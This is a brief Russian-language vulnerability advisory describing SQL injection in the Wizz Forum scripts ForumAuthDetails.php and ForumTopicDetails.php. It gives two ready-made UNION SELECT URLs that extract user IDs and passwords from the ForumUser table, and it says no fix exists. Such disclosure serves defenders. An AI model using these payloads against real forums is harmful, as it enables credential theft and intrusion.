SQL-инъекция в Wizz Forum

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "AuthID" сценария ForumAuthDetails.php, и параметре "TopicID" сценария ForumTopicDetails.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Для успешной эксплуатации уязвимости в сценарии ForumAuthDetails.php требуется, чтобы опция magic_quotes_gpc была выключена. Пример:

ForumAuthDetails.php?AuthID=-4654'%20union%20
select%20password,userid,password,userid,5,6,7,
"http://www.sqor.net",lastlogin,lastlogin,lastlogin,5465
465464,8979878745%20from%20ForumUser%20where%20user_index=1

ForumTopicDetails.php?TopicID=-10%20union%20
select%201,userid,password,userid,joindate,4444444,
4444444%20from%20ForumUser%20where%20user_index=1

URL производителя: www.wizzcomputers.com/ForumD.php

Решение: Способов устранения уязвимости не существует в настоящее время.

Источник: